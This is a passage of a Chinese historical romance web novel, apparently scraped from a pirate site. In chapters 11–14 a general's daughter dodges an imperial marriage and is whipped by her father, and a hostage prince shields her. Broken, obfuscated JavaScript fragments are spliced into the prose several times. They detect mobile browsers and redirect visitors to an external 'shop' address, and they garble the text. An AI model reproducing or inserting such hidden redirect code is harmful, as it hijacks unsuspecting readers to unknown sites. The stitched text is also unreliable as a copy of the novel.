0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711268|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不爽,非得报复回来。 人的本质都是很邪恶的,比起看人出众,他们更喜欢逼人出丑。 “秦将军,贵女英姿飒爽、深藏不露,您大可不必担心。”婧妃故意过来讽刺秦远。 “多谢娘娘夸奖,只是我只身入朝堂已是足够,卖女求荣的事情我还干不出来。”秦远也不甘示弱地回她,话里话外都在点她为了得到朝堂上的权势,利用儿子。 “你!”婧妃更加生气了,“你也就是能占点嘴上便宜,有什么用,一会自然会见分晓。” 秦常念回来的时候,一袭红衣,黑冠束发,执一柄长剑,冷风吹过来,她的裙摆都贴在身上,衬得身躯又瘦弱了几分,让人很难相信她能提起那柄长剑。 无数双眼睛等着看她的笑话。 秦常念深吸了一口气,单手执剑,笔直地向前突进,在快要靠近桌子的时候,又忽然变换了脚下的步伐,一个歇步,停在场边,手腕翻飞,给了那柄长剑血肉,和她融为一体。 秦常念的脑子里不断上演的是隗絮握着她的手,一点一点带她舞剑的画面。 她曾在无数个清晨练剑,也在无数个深夜独自揣摩动作的细节。 这套剑法已经深深地刻在她的骨髓里,形成了烙印。 最后秦常念一个下腰,双手持剑倒刺,在众人惊讶的目光中,稳稳收了剑。 “看来秦小姐是深藏不露啊,舞剑姿势笔挺,有张有弛,不愧是秦将军的女儿。”太子第一个站起来,带头鼓掌,扫视下面坐着的看客。 大家都不甚乐意,但碍于面子,只能佯装赞赏,稀稀拉拉的掌声响起。 秦常念倒是不甚在意别人的看法,对太子抱了个拳:“太子殿下谬赞了。”便下了台。 她一回到座位,就看见秦远怒气冲冲地瞪着她,那眼睛里好似有一场山洪暴发,对她的不满席卷了其他的一切。 秦常念刚故作镇定地坐下,就被秦远拉着袖子一把拽过去:“换掉。” “什么?”秦常念凑近了一些来听秦远说话。 “换掉!谁允许你今日这么做的!”秦远的音量都提高了几分,对着秦常念低吼。 边上坐着的瑜州长史听到他们这的动静,以为是秦远对女儿要求太过严格,在批评她今日表现的不好,便端着酒过来打圆场:“秦将军的女儿真是惊才风逸,这剑舞得是令人赞叹不已啊,可真是替将军长脸。” “哼,替我长脸?我有说过要她这样做吗,自作聪明、弄巧成拙!简直是丢尽了我秦家的脸面!”秦远尚在气头上,说话毫不客气。 这镇北将军对自己的女儿也太严格了吧,瑜州长史略带心疼地看了秦常念一眼。 秦常念恭恭敬敬地跪在一旁,眼神里却是十成十的倔强。 “还不去?”秦远见她一动不动,更加不满。 秦常念昂着头,眼眶都是深红色的,却没有流下半行眼泪,而是很坚持地看着秦远,似乎要把他看穿。半晌,对瑜州长史行了个礼,下去换衣服了。 太子目睹了这一切,目光追随着秦常念急匆匆离开的背影,皱了皱眉。 11. 赐婚 秦常念再回来的时候,已经换回了一身素衣。一边走,嘴里一边念念叨叨些什么,还很记仇地不肯和秦远对视,明明坐在一起,还要很刻意地把头扭向另一边,以此来显示自己的不满。 皇上今日显然不是单纯与大家一聚的,帝王何需要设一场官宴来娱乐呢?后宫有佳丽三千,吹拉弹唱、诗词歌赋、舞蹈抚琴,样样精通,他只要提一嘴,下面自有千万人去想方设法、费尽心思,什么美人找不到,什么宝贝寻不着。这世间需要一位帝王来算计的,恐怕只有权势了。 皇上的眼神在秦常念和太子之间来回转了几次,开了口:“朕看秦将军的女儿品貌出众、娴熟大方,今太子也过了弱冠之年,可以考虑娶妻一事了。” 这是要赐婚啊,还是赐给当朝太子。 一瞬间,整个场子都安静了下来,轻易得来的荣华富贵最容易遭人白眼。婧妃对着秦常念翻了个白眼,言下之意是你走了什么狗屎运,还想入主东宫,一朝攀上太子,变成整个帝京乃至整个大齐,最耀眼的金丝雀。 周围的官员和官员家属也齐刷刷地把目光投向秦常念,有的嫉妒她一帆风顺,也有的羡慕她天生命好,更有的厌恶她,想要看她摔下来的那一天。 秦常念心里一惊,手里拿着的糕点都险些吓掉了,她很慌不择路地把求助的目光投向太子,却又立刻反应了过来,赶忙将视线收回,戴上沉稳大方的假面具,强迫自己冷静下来思考。 首先,这婚是一定不能结的。 帝王最常用的制衡之术,便是利用一个人的弱点,来掌握这个人。 秦常念是秦远世上最疼爱的人,也就是秦远最大的弱点。皇上担心秦远日后拥兵自重、不听指挥,今日秦远拒绝了皇上和四皇子的想法,便加重了皇上的疑心。 秦远久居漠北,无甚野心,远离朝堂的斗争,常年征战于沙场,贬官、罢免对他来讲,都是无关紧要的事情。山高皇帝远的,命令有所不受也是有可能的。 边关需要人镇守,皇上不可能把秦远抓回去看着,但可以选择把秦常念关到皇城里,成为太子妃。 这样秦家表面上是承了天大的恩泽,一跃成为皇亲国戚,一时风头无两,享尽荣华富贵;实则是被天家严加看管,若是秦远有任何反叛之心,那被囚困在皇城里的秦常念,便是皇帝手里最大的筹码。 笼中雀,荣华皆是虚假之像;草芥命,生死皆不由自己。 秦常念不可能心平气和地接受这样的命运。她立刻跪下说道:“皇上,太子殿下龙血凤髓、贤身贵体,对国之大事,能谋善断,无敌于天下,是大齐万千百姓的储君。民女学疏才浅,在军营之中长大,不及其他女子温良恭俭、体贴入微,无法为太子殿下排忧解难,是故不敢高攀。” “哎,这有什么高不高攀的,秦将军也是国之肱骨。今日朕有意撮合你俩,不必担心。”皇上早就想好了推辞,利用完别人,还要别人感谢他仁爱厚德、勤政爱民。 秦常念跪在下面听着,冷汗直从脑袋上往下冒,暗自握紧了拳头。 “父皇,儿臣觉得有些仓促了。”清朗的声音传来,秦常念觉得自己好像从悬崖上坠落的人突然遇到了一根树枝,来不及管那根树枝是哪来的,不知道究竟抓不抓得牢,但那是唯一的希望。 于是她转过头去,眼睛里拉出了一根细绳,拴在对面的人身上。 说话的是太子,一根金枝玉叶的树枝:“父皇,日前有许多折子关心儿臣的婚事,不少官员都推荐了自己的亲戚,有许多名门望族的女子。若是在此就草草决定,怕是惹得群臣不满。再者,婚配之事毕竟是大事,儿臣也想再考虑考虑。” 婧妃见机会来了,也立刻起来附和:“是啊是啊,太子的婚事还需从长计议,不可就这么贸然选了秦家这个名不见经传的女儿。” 皇上最终还是松了口,答应了下来。 秦常念叩谢完,终于从高度紧绷的状态下逃离,只觉得浑身脱力,瘫软在座位上。婧妃以为她是在遗憾倒手的太子妃之位飞了,在一旁看着她笑得得意。 真是个可怜的女人,在那深不见底的、吃人的皇宫里,也许会被别人算计得连命都没有,身为棋盘上的一颗子,却还沾沾自喜,误以为自己能操控车,不让它越过那条楚河汉界。 所以究竟是深宫的险恶将人逼成那样,还是人心的贪婪让深宫成为深渊。 天色渐渐晚了,北风呼啸,月悬枝头,皇上留大家在行宫里住,秦常念一家和其他官员一同住在别院。 宴会一结束,秦常念就头也不回地起身离开了,她打小就犟,平日里无关紧要的时候可以装一装温婉女子哄秦远开心,但这下是誓要跟秦远对抗到底。 “秦常念!”秦远还是想要缓和父女之间的氛围,先开口叫住了她,但秦常念却连停顿都没有,仿佛叫的不是她,甚至脚下的频率还加快了。 “这孩子,也不知道像谁,这么倔。”秦远叹了口气,嘀咕了一声。 秦常念今日心头始终是有一股无名的委屈和怒火,也许是替自己这么多年的忍耐吧,忍着不练武、试图去迎合秦远,做他心里那个让他骄傲的大家闺秀,可那不是我,那从来都不是我。 父亲,你什么时候能不再执着? 秦常念觉得这条路遥遥无期、看不到尽头,越想越急,这种无能为力的失控感就快要把她逼疯。她冲回房间,抄起那把剑,到雪地里练起来。 此时,她不管什么气息、不管什么节奏,她没有用任何剑法,只是执着地在大雪里挥剑,每一次都用尽全力地向前劈去,想把让她心烦的一切都劈烂,然后一脚踢出人生。 不一会,她就出了满头的汗,将衣服都汗湿了,头发也黏在脖子上。 “小姐,别练了。”子秋担心她的身体扛不住,上来劝道。 秦常念一把把他推开,继续练剑。 子秋挡在她的面前,双手举起,再次劝道:“小姐,夜已经深了,您又出了这么多汗,会病的。” “让开。”秦常念罕见的面无表情。 “我给你三秒钟,如果你不让开的话,我的剑会照常落下来,你是要以性命来证明自己的忠诚吗?”秦常念在着重地说性命那两个字的时候,突然很诡异地笑了一下,似乎那是什么她很喜欢的小玩意。 子秋还是没动。 秦常念点了点头,举起剑,就往前用力一捅。得亏子秋得空便去军营训练,实战经验丰富,他一个后仰,堪堪躲过,剑正好擦着他的发丝过去。 他的第一反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720161|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,大小姐今日不正常。平日里,她虽然会有些层出不穷的鬼点子,但从来都是善良、充满怜悯之心的,队里有士兵受伤,她都会亲自去看望、包扎,今日怎么一副视人命为草芥的样子,刚刚上来就正对着他的心脏捅过来。 子秋也不敢再劝。 但这一场毫无观赏性的发泄,却被另一个人看到了。 “秦小姐,剑很漂亮。”太子悠悠地走出来。 “见过太子殿下。”秦常念只能强行收了情绪,向太子行礼。 “免了,秦小姐今日舞剑技惊四座,令人拍案叫绝,怎么一个人在这生闷气呢?”太子再次扫了一眼秦常念的剑,在小桌旁坐下。 秦常念借着这话,回想了一遍发生的事情,不知道如何回答,双手绞在一起,眼睛死死地盯着雪地。 太子也没强求,做了个请的手势,秦常念屈膝致谢,也没扭捏,走过来坐在太子对面。 “今日之事多谢太子殿下。”秦常念觉得太子殿下是个翩翩君子,看起来很好相处,便率先开了口。 “噢,是吗?那你要怎么谢我?”太子抿了口茶,一侧嘴角往上扬,带着几分玩味。 秦常念没想到太子会提出这样的疑问,赶忙答道:“这份恩情小女谨记心中,太子殿下日后若是有用的上小女的地方,尽管开口,小女一定拼尽全力、赴汤蹈火、在所不辞。” 太子没说话,只是单手撑着下巴,歪了歪头看着她。 秦常念立刻后悔自己许诺了一件兑现遥遥无期的事情,看起来倒像是在敷衍太子,赶忙四下张望,补充道:“我知我一介女流之辈,又久居漠北,太子殿下兴许用不上我,可多一人为太子殿下尽心尽力,也是好的。若是找些近的事情,不如我给太子剥个橙子?” “天太冷了,我不想吃。” “那要不要我给你煮碗甜汤喝?我煮甜汤的手艺可好了,每回在府里煮,大家都要抢着喝呢!” 太子看着秦常念摇头晃脑地推荐自己的汤,还咂巴着嘴回忆,一时失笑,真不知道她是要报答人,还是自己想喝。但还是点头答应了。 “那太子殿下稍等我一下,马上就好!”秦常念像一阵旋风一样刮走。 太子拿出棋,自己跟自己对弈,还没下到一半,秦常念就又如陀螺一般旋回来。 “甜汤来咯!”秦常念很热情地把一碗汤摆到太子对面,要他品尝。 藕片色白如玉,板栗色黄似金,每样食材都煮的软糯适中,飘出香甜味。 如此朴素的食材,简单的做法,太子在宫中时是真的看不上眼,也许是天寒地冻,热食自会抚慰人心;也许是秦常念的厨艺真的很好,总之,太子竟迷上了那碗可以称得上是寡淡的甜汤,一勺一勺地,喝得干干净净。 烹饪食物的人,最得意的事情就是看到自己的成果被扫荡干净。秦常念看太子殿下吃得尽兴,也跟着开心起来。 太子用手帕擦了擦嘴,来了些兴致和秦常念聊天:“秦小姐的剑,还缺个剑佩啊。” 这可聊到秦常念的心上了,秦常念“唰”地一下把剑抽出来,吓得太子的侍卫差点拔刀。 她将那剑来来回回地看了一遍:“是啊,我也正在寻合适的剑佩呢,太子殿下真是好眼力。” 12. 受罚 “不知秦小姐有没有听说过,帝京有一家著名的铺子,只接熟客的生意,专门为达官贵人量身定制剑佩,不仅做工精巧、用料独特,所打造的造型也是正好配人的气质和身型,可以达到以剑配人的效果。”太子一边介绍着,一边打量秦常念的表情。 秦常念听了以后,心里很是向往,可还没等到她说话,一声怒吼就打断了她。 “秦常念!给我出来!”是秦远在找她。 秦常念今日已经激怒秦远多次,赶忙起身向太子道歉:“不好意思了太子殿下,我父亲在找我,我得回去了。” 太子殿下点点头:“那我便不留秦小姐了。” 秦常念一边着急要走,一边依依不舍刚才的话题:“我还从未去过帝京呢,若是有朝一日能去看看帝京的繁华就好了。” 那边秦远的声音越发生气,到处找她。 秦常念还在此处惦记帝京和她的剑佩,倒显得有点临危不惧了。 到底是漠北长大的,性子都那么大方张扬,太子也站起身:“好了,秦将军已经寻你许久了,快去吧。” 秦常念点了点头,小跑着离开。 “若是将来你来帝京,我带你去那家铺子打一枚剑佩。”太子抬高了声音,高山流水般,带着天然的贵气。 秦常念猛地转过身,眼笑眉舒,清脆地回应:“那我便与太子殿下约好了!” 镇北将军府里的隗絮打了个喷嚏,躺在床上翻来覆去地睡不着,索性披了外套,在院子里坐着。 他望着空落落的梅花桩出神,往日里秦常念总是在上面认认真真地练过几遍他教的,便开始创造一些新的步伐,动作诡异之绝,每一秒钟都像是会掉下来,却又以一个更加奇怪的姿势稳住。 隗絮总觉得,这不是在锻炼秦常念的平衡,而是在考验自己的心脏。 每每看到这个场面,他都要用一百八十分的意志力克制住自己无处次想要伸出的手。 剪书点了个烛台,站在隗絮身边,见他一副很忧心的样子,上来出主意:“公子,趁着现在将军和小姐都不在,是您去偷布防图的最好时机。” 隗絮抬眸,锐利地看着他。 “要不我帮您在外面望风,您去将军的房间找找。”剪书说着就把烛台往隗絮手上推。 隗絮往旁边撤了一步,手臂挡开烛台,坐正了些:“偷布防图?” “嘘,公子,您小声点!”剪书急得要上来捂隗絮的嘴,贼眉鼠眼地环视了周围一圈,凑近了些,在隗絮的耳朵边低声说道,“公子,将布防图画一份寄回去,下一次攻城,北凉必胜,您也就不必再在这里当质子了。” “北凉必胜?”隗絮嗤笑一声,将一颗石子弹出去,熄灭了正往这边走的丫鬟举着的烛台,丫鬟四围看看,疑惑地举着烛台回去重新点燃。 院子里在一阵雪被踩碎的簌簌声响后,又重归寂静。 “北凉为何要胜?”隗絮正色道。 自古以来,攻伐不义,守城为正。君子当守正道,避邪路。而北凉狼子野心,不仅屡次在边陲行偷鸡摸狗之事,现在更是要抢夺城池,惹得兵戈扰攘。 于道义来讲,北凉主动挑起战争,是为不义;于责任来讲,他身为北凉少主,不能做到止戈兴仁,还百姓一片海晏河清,是为失职。 “公子,你该不会是在将军府里待了太久,就忘了自己的身份了!还是说,您与秦小姐走得太近,关系不清不楚,已经狠不下心做这种事了,你难道要在这里做一辈子教书先生吗?”剪书放下烛台,急得跳脚。 隗絮不可思议地抬起头,似是不相信他敢如此和他说话,眼里放出如剑一般的寒光:“正因为我是北凉的少主,我才要这么做!若是北凉攻城成功,日后便会有更大的野心,进攻中原腹地,你以为大齐皇帝会坐视不理吗?若是北凉进攻不成,便会加大力度扩张军备、征招士兵,长此以往,国库失衡,那么百姓还有好日子过吗?” “再者,在这里,我是质子,你是质子的侍从,大小姐是你能妄议的?我看你这条命,是不想要了。”隗絮站起来,居高临下地看着剪书,宽大的身影将月光都挡住,将剪书陷在面前的黑暗里。 “没有,没有,对不起公子,是我口不择言了,该打。”剪书忙扇了自己两巴掌,跪下道歉。 “你是对不起秦大小姐,不是对不起我。自己罚跪一个时辰吧,以后若是再有这等言论,用不着我罚,秦将军早就将你拔了舌头,挂在城门外示众了。你听明白了吗?”隗絮走近了一步,弯下腰,很压迫地和剪书对视。 “属下,属下明白。多谢少主提醒。”剪书吓得舌头都在打结。 隗絮理了理衣服站起来,听到这话又停下手上的动作:“在这里,你当叫我什么?” “公子,公子,多谢公子提醒。”在漠北的夜晚,剪书硬生生被吓出满额头的汗。 隗絮抬手,宽大的袖子一挥,将烛台熄灭,双手负于身后,往房间走去。 这边剪书气还没喘匀呢,刚挺直腰背,就看见忽然转过头来的隗絮,吓得他差一点又要跪下:“公子……公子还有何吩咐。” “在什么位置,谋什么事,你最好管好自己。”隗絮的语气带着寒意和不耐烦。 剪书在黑夜中看不清隗絮的脸,却莫名觉得自己被看得清清楚楚、一览无余。 是了,来镇北将军府久了,他都快忘了隗絮本是个杀伐决断、不怒自威的少主。 月光皎洁,秦远生拽着秦常念手腕,怒气冲冲地往行宫外走。 秦常念很少见到秦远这样失控的时刻,她被拖得在雪地里踉跄,秦远也一点都没有放缓步伐,反而更用力地拽着她。秦常念也只敢加紧步伐跟上,不敢多说一句话。 行宫外早有马车停好,秦远拉着秦常念坐上去,他要带她提前回去。 用“坐”这个词好像不太恰当,秦常念几乎是像一团垃圾被团吧团吧甩上去的,没有一丝自主控制权,她跌倒在座位上,透过那帘子看见外面秦远在嘱咐侍卫看好她。 秦远往帘子这边看了一眼,正好和秦常念偷看的目光对上,他眉头紧锁、眼神狠戾,仿佛对面坐着的不是他女儿,而是战场上的敌人。秦常念吓得赶紧低下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724649|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,喃喃道:“我是触犯了天条还是犯了死罪,你要这样对我。” 秦常念本以为自己会在马车上被秦远打个鼻青脸肿,没想到秦远并没上马车同秦常念一起坐,而是在前面骑马领队,一路上一言不发。 这种山雨欲来前的平静,让秦常念觉得更加不安,延迟的惩罚会带给人更强大的不安。 一路上,秦常念是吃也吃不下、睡也睡不着,一颗心七上八下的,却还是鼓励自己:“秦常念,别怕,要想生变,必得流血,今日之事闹得已经很大了,抓住这个机会,说不定是说服父亲的最好时机。” 她想着想着,也就到了家门口。 还没等秦常念深吸一口气,调整好心情,秦远就猛地拉开帘子,将她拖下去,一脚踹开了镇北将军府的门。 隗絮听到声音,匆匆赶出来行礼:“恭迎秦将军和大小姐。”看到的却是秦远一把把秦常念甩进来,用的力道太大,以至于秦常念一时维持不了平衡,摔在了雪地上。 隗絮立马冲到秦常念身边,关切地看着她,一手垫在她身后,要将她扶起来,秦远的声音却打断了他的动作:“不准扶。” 隗絮不知道具体发生了什么,他握住秦常念的手给她捂暖,察觉到今日父女两人的氛围不对,又看看秦常念苍白的脸。雪地寒凉,还是先把她扶起来吧,可秦常念却不依,看着他摇了摇头。 隗絮当她是不敢忤逆父亲,立马跪在地上替她求情:“秦将军,我虽不知您与大小姐之间发生了什么,但我想多半是误会一场,父女之间,毕竟至亲至爱,隗某在此斗胆请求秦将军不要责罚大小姐,有什么事可坐下来聊聊,解开误会。” “误会?”秦远冷笑一声,“秦常念,你背着我练武是我误会?你今日在宫宴上耍威风是我误会?你着红裙也是我误会?你擅自逃跑,私会太子,也是我误会?秦常念,你还有没有把我这个父亲放在眼里!” 私会太子,隗絮默念了一遍,这句话不断在他的脑海中回响。 父亲!你究竟要这样到何时!”秦常念终于忍不住了,声嘶力竭地喊回去,“父亲,你究竟何时才能从母亲的死里走出来!若是母亲看到你这样,看到我现在这样,她一定会失望的!” 秦远低下头来,怒不可遏地看着秦常念:“你还敢提你母亲!你母亲怎么去世的,你不知道吗?你现在要我眼睁睁看着你重蹈她的覆辙吗?” 秦常念跪坐在雪地里,有些脱力,急促地喘着气,隗絮赶忙靠她更近一点,一手从背后撑住她,给她接力。 秦常念握着隗絮的手更紧了一点,强撑着坐直:“父亲,每个人有每个人的命运,兴许我和母亲结局不同呢。” “那你现在是要我去赌那个兴许吗?”秦远的声音提高了几分,怒吼道。 “可若是连我都不走这条路,母亲的死便没有意义了!那可是母亲宁可死,也要守护的道!”秦常念的眼泪夺眶而出,不知是因为哭了,还是冷的,她说话的时候都带着颤抖,语气却坚定不改。 “胡言乱语!”秦远咬牙切齿,抽出一根皮鞭,就要往秦常念身上抽。 13. 护你 秦常念看着那根熟悉的牛皮鞭,扬起她意料之中的弧度。从小到大,我被打的还少吗?她强忍着害怕,没有后退,也没有求情,只是闭上了眼睛,等待鞭子的落下。 可她没有感觉到鞭子的落下,她只觉得自己落入了一个温热的怀抱里,那怀抱将她整个包住,紧紧地,暖暖的,让人很想依靠。 这一定是幻觉吧,秦常念想。 难道自己被打晕了,沉醉在假象之中?不过也好,此刻即便是灼热的碳,她也会毫不犹豫地扑上去抱住。冰冷的漠北,寒凉的人心,将秦常念的意志力都瓦解,她此刻只是急切地向着温暖扑去,哪怕不会醒来。 谁会在意有没有明天。她仍然紧闭双眼,嘴角扬起一抹浅笑,不痛,真好。 可哪来的无害的饮鸩止渴,不过是有人甘愿以身为盾,挡在她的面前,承受那些风暴。 隗絮将抱住她,将她护在身后,皮鞭落在他身上,他也只是咬紧了嘴唇,不让一丝一毫的声音泄出来。 “让开!”秦远洪亮的声音把秦常念拉回现实,她急忙睁开眼睛,眼前意外地出现了一个人,他的眼里盛满对她的挂念和担忧。 往日里,深不可测的眸子此时一眼便可以望得到底,里面装着的是她和关于她的一切。 “你……”秦常念意外地瞪圆了眼睛,隗絮高大宽厚的身影挡住了她大部分的视线,她看不见秦远此刻的表情,只听到皮鞭破开空气的窸窣声,不出片刻便会落在隗絮身上,打得他皮开肉绽,她用力地推开隗絮,“小心!” 可隗絮用了更大的力气抱住她,一手护住她的头,放在他的肩头,另一只手护住她的后背,甚至还轻轻地拍了拍她:“没事,我在。” 秦常念急得要命,拼命推开他:“你身上的伤都还没好全,你不要命了!” 男女的力道毕竟悬殊太大,任凭她怎么推,隗絮都只是抱着她微微晃动,不肯放手,语气里甚至还带着笑意,贴在秦常念的耳边:“我只想要你。”又安慰似的摸了摸秦常念的发丝,搂她更紧了些,热气渡到秦常念的身上,两人的体温都趋于相同,“乖,别乱动了。” 秦常念顿时定住了一般,在隗絮的怀里不再动弹。隗絮的嘴角挑了一下,硬生生又扛下了一鞭。 “你作为她的老师,教导有误、看管不严,竟与她同流合污!那便一起罚!”秦远并没有因为隗絮的坚定而停下手中的鞭子。 血从隗絮的背上渗出,秦常念因为紧张而紧紧拽着隗絮的衣角,正好会牵拉到他的伤口。可隗絮只是低头看了一眼,任由她拽着,眼里满是心疼。 秦远终是收了鞭子,冷冰冰地留下一句:“罚你再跪两个时辰,好好反省反省。来人,把她那件红裙子烧了!”便快步走回了房间。 秦常念刚准备换个姿势跪着,隗絮就一把把她提溜起来,脱下自己的披风,将她整个裹在里面。 秦常念看着隗絮系披风带子,微微笑了一下,推了推隗絮的手,轻声说道:“我还没跪完呢。” 隗絮手中的动作一顿,但很快恢复如常,他一边伸手去搀秦常念,一边答道:“我替你跪。” “不可,是我自己闯的祸,我自己收尾,不用你替我。”秦常念的声音淡淡的,却很有力量,她盯着隗絮认真帮她整理衣服的侧颜,犹豫了一下,声音又放小了点,补充道,“女儿受父亲的责罚,天经地义,连子秋也不敢来替我求情,你又以什么身份替我跪呢?” 一时间,两人都静止了。 秦常念的心跳得像边关的战鼓,咚咚,咚咚,把周围的一切都放慢了。她不是害怕父亲,而是在紧张隗絮的答案。她有些期待地看着隗絮,又怕自己不该期待。 隗絮察觉到她的目光,转过头来,和她四目相对,嘴巴动了几次,但终是没说话。 他的眼神炽热而滚烫,里面好像有什么东西在翻腾,但只一秒,隗絮垂下眸,细密的睫毛盖下来,隐去了里面的所有情绪,像是戏台子落下帘子,阻隔开观众和演员。 秦常念觉得她无比接近一座陈息百年的活火山,也许可以窥到些属于他的秘密。 “我是大小姐的先生,是我教导无方,理应担责。”隗絮沉默了片刻,声音低沉地回答道。 轰,山洪暴发,冲走了一切的一切。 后面他似乎还说了几句话,但秦常念一个字也没有听进去,她只觉得腿一软,快要向后倒去,又被隗絮抱住,她自嘲地笑了笑,重复了一遍隗絮的话:“教导无方,理应担责……” 她强撑着从隗絮的怀里出来,退后了几步,和隗絮间隔了一段距离,弯下腰行礼:“那便是我连累先生了。先生无需担责,是常念顽劣不堪、逼迫先生教我练武,还请先生莫要责怪。” 秦常念重新跪了下去,大雪将她映衬得更加苍白了些,她整个人填不满隗絮的半件披风,像一片飘荡的芦苇,惹人忧心。 “教导无方,理应担责”在秦常念的脑海里不断回荡,像是寺庙清晨的撞钟,绵长而又震撼,穿过木门、透过山林,直捣鼓膜,无法控制,不得停止。 最后秦常念陷入一片虚无。 倒下去前,她只看到了白茫茫的一片,心里有些悲哀:哦,原来他只把我当学生啊。 秦远听到下人来报说大小姐晕倒了,赶忙跑到秦常念那里想去看她。可却在房门口犹豫了,想要推门的手抬起又放下。 他想起自己的妻子、秦常念的母亲,她当年就是提着把剑,仗着自己有些武功,便擅自作主、不告而别,只遣人给他送了一封信,甚至都算不上是一封信的寥寥几语。只是说,她去荆州了,待事成之后便归来。后来,便再也没命回来。 隗絮恰好推门出来,迎面碰上秦远,他行了个礼,解释道:“大小姐是舟车劳顿、受了风寒,今日又受了惊吓,才晕倒的,刚刚大夫已经看过了,并无大碍。我现在去看看给她煎的药。” 秦远却拦住了他:“今日常念的坚持超出我的想象,本以为她会立刻认错求情,没想到她和我对抗到底。你也觉得我对她太过狠心了吗?” 隗絮站定,想了一下,认认真真地说道:“我虽不知将军和大小姐之间发生了什么,但是大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728765|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐毕竟也长大了,是个有主见、有想法的人,有些事,比起我们替她安排、命她听从,不如放手,相信大小姐也是个聪明人,会为自己做出选择。” 秦远意味深长地叹了一口气:“放手,放手的结局可不一定好啊。” “好不好都是大小姐的选择,是她想走的路。人生只有一次,谁都不能预知未来,哪有什么好与坏之分呢,不留遗憾便是最好。”隗絮瞟了一眼屋里仍昏迷的秦常念,一字一句地说道。 她最是向往自由了,该有属于自己的人生。 秦远不知有没有听进隗絮的劝告,看着远方出神,良久,回过神来,换上一副严肃的表情:“那你可知,她选的路和隗少主要走的路,终究是殊途,殊途难同归。” 我怎会不知,你我的身份本就是对立,现下的欢愉不过是偷来之物,又能维续到何时。 有限期的幸福,更让人悲哀。 隗絮一向沉稳的表情第一次有了破裂的痕迹,他红着眼眶低下头,自嘲地摇了摇头,明明是早就知道的事情啊,怎么到头来,还是千般不舍、万般无奈。 隗絮还是整理好表情抬起了头,边回忆边说道:“阿念说过,有一日的幸福,便不可辜负,隗某谨遵大小姐的命令。” “你可知圣宴之上,陛下想赐婚太子和常念。” 秦远的话,撕碎了隗絮仅存的信念。 隗絮的眼神里多了几分不敢置信,可转眼又被无尽的悲凉取代,原来,秦远罚你时所谓的私会太子,是真的。他眼眶猩红,垂在身侧的手也止不住地颤抖。 房间里,秦常念虚弱的咳嗽声传出,紧接着是侍女询问她怎么样的关切声。 秦远隔着门遥遥向里望了一眼,又上下打量了隗絮一番,叹了口气,终是没进去,疾步离开。 隗絮狠狠地掐了自己一下,强迫自己回神,闭上眼睛。再睁眼时,刚才的堂皇和气愤已然不复存在。 他推开门,满脸担忧地走到秦常念的床边,一把扶住想要起身的秦常念,将她搂在怀里,又替她折好被子,责怪道:“你今日又犯什么倔,非要和秦大将军对着干,不拿自己的身子当回事,这下好了,病了吧,看你下次还敢不敢。” 秦常念看着眼前的这人,语气是责备的,面上是心疼的,心里顿时一股暖流流过。她刚想伸手抱住隗絮,埋进他的怀里,脑海里却忽然回荡起她晕倒前听到的那句“我是大小姐的先生,是我教导无方”,心里又挣扎起来,将伸出的手收回。 隗絮见她很犹豫的样子,会错了意,赶忙拉过她的手,上上下下地查看:“怎么了,可是有哪里受伤了?不舒服?” 秦常念向来是个直来直往的性子,大部分的想法都写在脸上,认为喜欢一个人就是主动靠近他、对他好,看到隗絮关切的样子,忽而很恼怒。 都怪你,明明对我无意,却逾越师徒界限,对我如此体贴入微,装出一副事事上心的样子,害我自作多情,倒显得像个笑话。 秦常念越想越气,最后实在气不过,使了大半的力气,一拳捶在隗絮的肩膀上。 14. 旧事 隗絮吃痛地倒抽了一口凉气,将手放在肩膀上按着。 见他一脸痛苦,秦常念才猛然想起来,他为了护着自己,也受了伤。秦远孔武有力,那一鞭子下去怕是不轻,先前他受的剑伤也在肩膀上,旧伤未愈,又舔新伤。 “对不起,对不起,我忘了你肩上有伤,没事吧?”秦常念赶紧凑上去看,满怀愧疚,禁不住骂自己,人家为了救自己甘愿受罚,自己竟还在这耍小脾气,她上手就要扒开隗絮的衣领看。 隗絮抓住她乱动的手,交合着放在自己的心口处:“我无碍,无需担心。” 隗絮唇红齿白,眉如墨画,受了伤后,面上更没了血色,室内点了壁炉,将他的脸颊烘烤得有些红,平添几分脆弱,让人心软。 秦常念忽而就怔住了,觉得自己好像没有立场对他发火。 他是这样好的人,敬贤礼士、温文尔雅,对自己的关心不过是出于良好的修养和将军府大小姐这个名头,为何就要要求他喜欢自己。 